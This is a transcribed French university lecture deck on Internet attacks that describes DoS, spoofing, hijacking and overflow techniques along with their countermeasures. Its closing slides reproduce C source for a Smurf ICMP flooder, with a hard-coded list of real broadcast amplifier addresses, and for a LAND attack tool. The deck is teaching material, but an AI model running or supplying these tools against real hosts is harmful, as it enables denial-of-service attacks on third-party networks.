© LEONI Bordnetz-Systeme GmbH & Co. KG AHMED Moncef AHMED Moncef.
Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.
-
Upload
emilien-dupin -
Category
Documents
-
view
110 -
download
0
Transcript of Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.
Attaques Internet
Ahmed Serhrouchni
ENST’Paris
CNRS
2
Plan
• Introduction
– Choix protocolaires
– Implications
– Typologie
• Les attaques sur les choix d’implantation
• Les attaques sur le design des protocoles
• Les attaques sur les détournements et usurpations
• Les attaques sur les bugs des logiciels
Introduction.
4
Choix protocolaires.
• Simple
• Léger
• Pas ou peu de contrôle
• Optimisation et confiance
5
Implications.
• Les attaques sur les protocoles de communications
– exploiter les failles des protocoles IP, ICMP, TCP, UDP
• Les attaques sue les applications
– Attaquer les applications SMTP, DNS, SNMP, X-Window, NFS, HTTP, FTP
• Les attaques sur l’information
– L’écoute de données communiquées sur le réseau
– La modification des données communiquées sur le réseau
• Les attaques sur les systèmes
– Le vol de mot de passe
– L’accès aux fichiers et répertoires sans autorisation
6
Typologie. (1/2)
• Quelques classifications :
– les effets : DoS (Denial of Service), intrusions, corruptions,
– les protocoles : icmp, ip, tcp, dns, …
– les systèmes d ’exploitation
7
Typologie. (2/2)
• Classification selon:– Choix d’implémentation : buffer overflow, Ping of
death, land, TCP syn, Teardrop …– Conception des protocoles : Smurf:, email (bombing,
spamming), UDP-bombing, ftp bounce, prédiction des numéros de séquence de TCP, TCP connection killing …
– Usurpation ou modification: sniffing, ARP spoofing, IP spoofing, TCP hijacking, email spoofing, dns cache poisonning, web spoofing …
– Bugs :– Volontaires (virus, cheval de troie …)– Non volontaires (netscape server …)
8
Attaques - Les choix d ’implémentations Ping of Death
• Description
• Ping est basé sur icmp echo/reply
• Taille maximum d ’un paquet IP 65536 octets
• ICMP est encapsulé par IP
• L ’attaque consiste à générer des paquets ICMP de taille 65510 (8 octets pour le header icmp et 20 octets pour le header IP)
• Fragmentaton à la source, le réassemblage provoque le crash du buffer de l ’émetteur
9
Attaques - Les choix d ’implémentations Ping of Death
• Effet :
• crash ou reboot de la machine
• Parade: software (patches)
10
Attaques - Les choix d ’implémentationsTeardrop
• Les tailles de MTU différentes impliques la fragmentation des paquets
• Champ: identification, flags et fragment offset
• Attaque par altération du fragment offset
• Effet:
– crah de la machine
• Parade :
– patche
11
Attaques - Les choix d ’implémentationsLand
• Forge des segments TCP syn avec l ’adresse source identique à l ’adresse de la machine victime
• Effet :
– crash de la machine
• Parade:
– software ou filtrage
12
Attaques - Les choix d ’implémentations TCP SYN Flooding
• L ’établissement d ’une connexion s ’effectue par un three-way handshake
SYN x
SYNy, ACKx+1
ACK y+1
LISTEN
SYN_RECVD
CONNECTED
13
Attaques - Les choix d ’implémentations TCP SYN Flooding
• Allocation des structures: inpcb, tcpcb
• Attente dans l ’état SYN_RECVD (75s)
• Nombre limité de connexions dans cet état
• Effet:
– perte de connectivité
• Parade :
– réduction du timer,
– augmentation du nbr. de connexions semi-ouvertes,
– désactivations des ports inutiles,
– filtrage, et proxy
14
Attaques - Les choix d ’implémentations Buffer Overflow
• Attaques sur les OS multitâches (unix, WNT)
• Pour obtenir des droits d ’accès privilégiés
• Processus en exécution avec les droits suid
• Processus en mémoire: zones (code ou texte, données, pile)
• La pile est alloué de façon dynamique:– variables locales et pointeur sur l ’adresse retour après exécution
• Appel à une fonction qui fait déborder la pile• Adresse retour réécrite par ce procédé
15
Attaques - Les choix d ’implémentations Buffer Overflow
• Effet :
• crash ou obtention d ’un accès privilégié
• Parades:
– vérification du remplissage des tampons,
– modifications des programmes et des compilateurs (remplacement des fonctions vulnérables: copie et concaténation)
– modification du noyau pour marquer la pile non exécutable
16
Attaques – Le design des protocoles
• Saturation des ressources systèmes : Email-bombing/spamming, Smurf
• Saturation des ressources réseau : Smurf, UDP-bombing,
17
Attaques - Le design des protocolesEmail Bombing/Spamming
• Envoi d ’un message répété à une même adresse
• Spamming variante du bombing : le message est envoyé à des centaines ou milliers d ’adresses
• Falsification de l ’adresse d ’origine
• Effets :
– congestion du réseau
– crash du serveur de messagerie
– indisponibilité des ressources physique
18
Attaques - Le design des protocolesEmail Bombing/Spamming
• Effets (suite) :
– indisponibilité du serveur, des ressources physique, et de l ’entrée syslog
• Parades :
– Supervision,
– filtrage,
– proxy
19
Attaques - Le design des protocoles Smurf
• Envoi de ICMP echo vers une adresse broadcast dont l ’adresse source est celle de la victime
• Effet :
– congestion du réseau intermédiaire et de la victime
• Parades :
– filtrage (au niveau des trois réseaux),
– OS: ne pas répondre pour des adresses broadcast
20
Attaques - Le design des protocoles UDP bombing
• Faire conserver deux ports qui générent du trafic (ex: chargen port 19, echo port 7)
• Mettre en relation le port 19 de la première victime avec le port 7 de la deuxième victime
• Effets :
– si les deux ports sont sur la même machine les performances de celle-ci se dégradent
– si les deux ports sont sur des machines différentes ceci provoque la congestion du réseau
21
Attaques - Le design des protocoles UDP bombing
• Parades :
– filtrage de tous les services sur UDP à l ’exception du port 53 (dns)
– désactiver tous les ports udp inutiles
22
Attaques - Le design des protocoles FTP bounce
• Deux ports tcp l ’un pour les commandes et l ’autre pour les données
• La commande PORT n1,n2,n3,n4,n5,n6 de ftp
• Détournement des données en changeant les paramètres ni
• Utilisé pour contourner un firewall
• Effets :
– intrusion dans un réseau
– dtournement du fltrage
23
Attaques - Le design des protocoles FTP bounce
• Parades :
– Bien étudier l ’usage des serveurs ftp
– Architecture : isoler le serveur ftp
– Software: contrôler l ’usage de la commande PORT ( package wu-ftpd)
– Proxy : élimine les cdes ports ayant comme origine un service interne connu
– Authentification forte
24
Attaques - Le design des protocoles Prédiction des numéros de séquence de TCP
• Prédire le numéro de séquence initial• Etablissement d ’une connexion et mesure du
RTT pour prédire l ’ISN• Substitution d ’une adresse reconnue• Effet :
– Etablissement d ’une connexion non autorisée• Parade :
– Implémentation (un espace de numéro de séquence séparé pour chaque connexion)
– Authentification (IPsec)
25
Attaques - Le design des protocoles TCP connection killing
• Envoi d ’un segment TCP avec le bit RST : possible uniquement si le numéro de séquence est connu
• Effet :
– Perte de connectivité
• Parade :
– Autentification (Ipsec)
26
Attaques - Les détournements et interceptions
• Ecoute du trafic (sniffing ou eavesdrpping)
• Se faire passer pour interlocuteur légitime aux niveaux:
– liaison des données (ARP spoofing)
– réseau (IP spoofing, TCP hijacking)
– applicatif (email spoofing, dns spoofing, web spoofing)
27
Attaques - Les détournements et interceptions Sniffing ou eavesdropping
• Ecoute indiscrète des données sur un réseau• Sur le chemin des communicants• Attaque passive, les informations recueillis
peuvent servir pour une attaque active• Effet :
– perte de confidentialité et donc d ’information sensible (mot de passe)
• Parades :– Chiffrement (Ipsec)– Architecture de réseau
28
Attaques - Les détournements et interceptions ARP spoofing
• Répondre à une trame ARP who is? Par une trame ARP reply avec une adresse MAC qui ne correspond pas à l ’adresse IP
• Possibilité de prendre en compte un ARP reply sans qu’i y ait eu auparavant de ARP who is?
• ARP est sans état,l ’attaquant peu anticipé sur les requêtes
• Effets :– Perte de connectivité réseau– redirection du trafic
29
Attaques - Les détournements et interceptionsICMP redirect et destination unreable
• Utilisation du message ICMP-redirect
– Un pirate envoie à une machine un ICMP-redirect lui
indiquant un autre chemin à suivre
• Utilisation du message ICMP-unreachable destination
– Un pirate peut envoyer ce message vers une machine
– La machine ne peut plus joindre ce réseau
30
Attaques - Les détournements et interceptionsICMP redirect et destination unreable
• Effets :
– perte de connectivité
– déni de service
• Parades :
– filtrage
– authentification (Ipsec)
31
Attaques - Les détournements et interceptions IP spoofing
• IP spoofing correspond à l ’usurpation d ’adresse IP se S par A vers D
• Détournement du trafic si A n ’est pas sur le même chemin entre S et D
• Nécessite de prédire le numéro de séquence
• Possibilité d ’utiliser :
– le routage par la source
– ICMP redirect
– protocole de routage RIP
32
Attaques - Les détournements et interceptions IP spoofing
33
Attaques - Les détournements et interceptions IP spoofing
• Effet :
– prendre les privilèges de S
• Parades :
– Configuration pour ICMP redirect et RIP
– Filtrage (source routing, adresse IP)
– Authentification (Ipsec)
34
Attaques - Les détournements et interceptions TCP hijacking
• Connexion TCP entre S et D• A se substitue à S• Utilisation de plusieurs attaques :
– IP spoofing,– ICMP redirect,– TCP connection killing
• Effets :– détournement d ’une communication autorisée– Contourne les protections d ’authentificaion
forte de l ’utilisateur SKEY et Kerberos
35
Attaques - Les détournements et interceptions TCP hijacking
• Parade :
– Authentification (Ipsec)
36
Attaques - Les détournements et interceptions Email spoofing
• Absence d ’authentification
– Aucun mécanisme d ’authentification auprès des serveurs
mails, de plus vous ne savez pas qui réellement vous écrit
• Pas de garantie d ’intégrité de message
– Toute personne interceptant le message peut en modifier le
contenu
• Effets :– usurpation d ’adresse (demande de
changement d ’information sensible)– cacher son identité pour une attaque
37
Attaques - Les détournements et interceptions Email spoofing
• Parades :– Architecture (utiliser un firewall comme frontal)– Empêcher toute connexion directe sur le port
SMTP par configuration du mail delivery deamon– Authentification (par signature : PGP, SSL,
S/MIME)
38
Attaques - Les détournements et interceptions DNS spoofing
• Altérer directement les tables d ’un serveur de noms
• Communiquer de mauvaises cache poisoning
• Effets :– détourner le trafic vers l ’attaquant (applications
sensibles : messagerie et web)– Connexions illicites par applets
• Parades :– DNSsec une signature associée à chaque entrée
– Pour les applets java vérifier les diff. adresses
39
Attaques - Les détournements et interceptions Web spoofing
• Attaque de type man in middle : le serveur de l ’attaquant détourne les requêtes HTTP de la victime
• La victime navigue dans un faux web• Initialisation de l ’attaque:
– l ’attaquant amène la victime à visiter son site (par email ou par sa figuration dans une indexation d ’un moteur de recherche)
– la victime télécharche un script java• Ce script java détourne toutes les requêtes
de la victime vers l ’attaquant
40
Attaques - Les détournements et interceptions Web spoofing
• Effets :
– surveillance de l ’activité de la victime, et vol de données
– altération des données,
• Parades :
– désactivation de javascript
– proxy : repère et refuse des echanges HTTP avec réécriture des URL
41
Exemples: Smurf (1/5)
#include <signal.h>#include <stdio.h>#include <stdlib.h>#include <sys/socket.h>#include <sys/types.h>#include <netinet/in.h>#include <netinet/ip.h>#include <netinet/ip_icmp.h>#include <netdb.h>void main (int argc, char *argv[]) { struct sockaddr_in sin; struct hostent *he; int i, sock, delay, num, pktsize, bcast = 1, cycle = 10;
42
Exemples: Smurf (2/5)
char *bcastaddr[] = { "199.171.190.0", "165.154.1.255", "205.139.4.255", "198.3.101.255", "204.71.177.0", "192.41.177.255", "206.13.28.255", "144.228.20.255", "206.137.184.255", "198.32.186.255", "130.63.236.255", "208.202.14.255", "208.131.162.255", "199.171.6.255", "207.124.104.255", "205.180.58.255", "198.3.98.0", "131.104.96.255", "143.43.32.0", "131.215.48.0", "204.117.214.0", "143.43.32.255", "130.235.20.255", "206.79.254.255", "199.222.42.255", "204.71.242.255", "204.162.80.0", "128.194.103.255", "207.221.53.255", "207.126.113.255", "198.53.145.255", "209.25.21.255", "194.51.83.255", "207.51.48.255", "129.130.12.255", "192.231.221.255", "168.17.197.255", "198.242.55.255", "130.160.224.255", "128.83.40.255", "131.215.48.255", "169.130.10.255", "207.20.7.255", "163.179.1.0", "129.16.1.0", "128.122.27.255", "132.236.230.255", "198.32.146.255", "192.41.177.0", NULL };
43
Exemples: Smurf (3/5)
if (argc < 6) usage(argv[0]); if ((he = gethostbyname(argv[1])) == NULL) { perror("resolution source host"); exit(-1); } memcpy((caddr_t)&sin.sin_addr, he->h_addr, he->h_length); sin.sin_family = AF_INET; sin.sin_port = htons(0); num = atoi(argv[3]); delay = atoi(argv[4]); pktsize = atoi(argv[5]); if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("getting socket"); exit(-1); } setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast)); printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);
44
Exemples: Smurf (4/5)
for (i = 0; i < num || !num; i++) { if (!(i % 25)) { printf("[1;34m."); fflush(stdout); } if (atoi(argv[2]) == 0) { smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize); cycle++; if (bcastaddr[cycle] == NULL) cycle = 0; } else smurf(sock, sin, inet_addr(argv[2]), pktsize); usleep(delay); }}void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize){ struct iphdr *ip; struct icmphdr *icmp; char *packet; packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip = (struct iphdr *)packet; icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));
45
Exemples: Smurf (5/5)
memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
ip->ihl = 5; ip->version = 4; ip->ttl = 255; ip->tos = 0; ip->frag_off = 0; ip->protocol = IPPROTO_ICMP; ip->saddr = sin.sin_addr.s_addr; ip->daddr = dest; ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr)); icmp->type = 8; icmp->code = 0; icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) +
psize); sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) +
psize, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)); free(packet); }
46
Exemples: LAND (1/4)
int main(int argc,char * * argv){ struct sockaddr_in sin; struct hostent * hoste; int sock; char buffer[40]; struct iphdr * ipheader=(struct iphdr *) buffer; struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct
iphdr)); struct pseudohdr pseudoheader;
if(argc<3) { fprintf(stderr,"usage: %s IP port\n",argv[0]); return(-1); }
47
Exemples: LAND (2/4)
bzero(&sin,sizeof(struct sockaddr_in)); sin.sin_family=AF_INET;
if((hoste=gethostbyname(argv[1]))!=NULL) bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length); else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1) { fprintf(stderr,"unknown host %s\n",argv[1]); return(-1); }
if((sin.sin_port=htons(atoi(argv[2])))==0) { fprintf(stderr,"unknown port %s\n",argv[2]); return(-1); }
48
Exemples: LAND (3/4)
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
{
fprintf(stderr,"couldn't allocate raw socket\n");
return(-1);
}
bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
ipheader->version=4;
ipheader->ihl=sizeof(struct iphdr)/4;
ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
ipheader->id=htons(0xF1C);
ipheader->ttl=255;
ipheader->protocol=IP_TCP;
ipheader->saddr=sin.sin_addr.s_addr;
ipheader->daddr=sin.sin_addr.s_addr;
49
Exemples: LAND (4/4)
tcpheader->th_sport=sin.sin_port;
tcpheader->th_dport=sin.sin_port;
tcpheader->th_seq=htonl(0xF1C);
tcpheader->th_flags=TH_SYN;
tcpheader->th_off=sizeof(struct tcphdr)/4;
tcpheader->th_win=htons(2048);
bzero(&pseudoheader,12+sizeof(struct tcphdr));
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.protocol=6;
pseudoheader.length=htons(sizeof(struct tcphdr));
bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));
sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in));
close(sock);
return(0);
}
50
Conclusion
Questions et débat